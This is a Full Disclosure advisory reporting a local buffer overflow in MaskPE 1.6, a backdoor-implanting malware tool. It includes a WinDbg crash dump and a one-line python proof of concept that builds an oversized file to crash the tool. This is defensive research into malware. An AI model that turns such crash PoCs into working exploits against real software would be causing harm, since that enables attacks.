Date: Fri, 15 Jan 2021 20:25:41 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Nucleroot.t - MaskPE 1.6 / File Based Buffer
	Overflow

Discovery / credits: Malvuln - malvuln.com (c) 20211
Original source:
https://malvuln.com/advisory/170d3ccf9f036c552aef6690bf419b2e.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Nucleroot.t - MaskPE 1.6
Vulnerability: File Based Buffer Overflow
Description: Description: MaskPE by yzkzero is a tool for implanting
backdoors in existing PE files. The Backdoor tool doesnt properly check the
files it loads and falls victim to a file based local buffer overflow.
Type: PE32
MD5: 170d3ccf9f036c552aef6690bf419b2e
Vuln ID: MVID-2021-0028
Network Access: Local
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/15/2021

Memory Dump:
This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(88c.14b0): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=41414141 edx=41414101 esi=00000003
edi=00000003
eip=773ced3c esp=0019e7a8 ebp=0019e938 iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00200202
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400          ret     14h
0:000> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************


FAULTING_IP:
Backdoor_Win32_Nucleroot_t_170d3ccf9f036c552aef6690bf419b2e+8f43
00408f43 813850450000    cmp     dword ptr [eax],4550h

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00408f43
(Backdoor_Win32_Nucleroot_t_170d3ccf9f036c552aef6690bf419b2e+0x00008f43)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 456c4141
Attempt to read from address 456c4141

PROCESS_NAME:
 Backdoor.Win32.Nucleroot.t.170d3ccf9f036c552aef6690bf419b2e.exe

OVERLAPPED_MODULE: Address regions for 'linkinfo' and 'xmllite.dll' overlap

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  456c4141

READ_ADDRESS:  456c4141

FOLLOWUP_IP:
Backdoor_Win32_Nucleroot_t_170d3ccf9f036c552aef6690bf419b2e+8f43
00408f43 813850450000    cmp     dword ptr [eax],4550h

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  000014b0

BUGCHECK_STR:
 APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STRING_DEREFERENCE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STRING_DEREFERENCE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 004048c2 to 00408f43

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
0019f0c8 004048c2 00000001 0019fb74 0019f438
Backdoor_Win32_Nucleroot_t_170d3ccf9f036c552aef6690bf419b2e+0x8f43
0019fc38 7739fa0d 000307d0 00000018 00000000
Backdoor_Win32_Nucleroot_t_170d3ccf9f036c552aef6690bf419b2e+0x48c2
0019fc84 7674ac66 0019fe3c 00000001 0019fcac ntdll!RtlFreeHeap+0x7cd
0019fd30 7674a757 00000000 00000000 00000000
KERNELBASE!LocalBaseRegOpenKey+0x176
0019fe48 0042752c 76e34fb0 00000000 0031e000
KERNELBASE!RegOpenKeyExInternalW+0x137
00000000 00000000 00000000 00000000 00000000
Backdoor_Win32_Nucleroot_t_170d3ccf9f036c552aef6690bf419b2e+0x2752c


STACK_COMMAND:  ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:
 Backdoor_Win32_Nucleroot_t_170d3ccf9f036c552aef6690bf419b2e+8f43

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_Nucleroot_t_170d3ccf9f036c552aef6690bf419b2e

IMAGE_NAME:  Backdoor.Win32.Nucleroot.t.170d3ccf9f036c552aef6690bf419b2e.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  4449d126

FAILURE_BUCKET_ID:
 STRING_DEREFERENCE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Nucleroot.t.170d3ccf9f036c552aef6690bf419b2e.exe!Unknown

BUCKET_ID:
 APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_Backdoor_Win32_Nucleroot_t_170d3ccf9f036c552aef6690bf419b2e+8f43

Followup: MachineOwner



Exploit/PoC:
python -c "print( 'MZ'+'A'*20000)" > doom.exe

Load it into MaskPE and KABOOM!


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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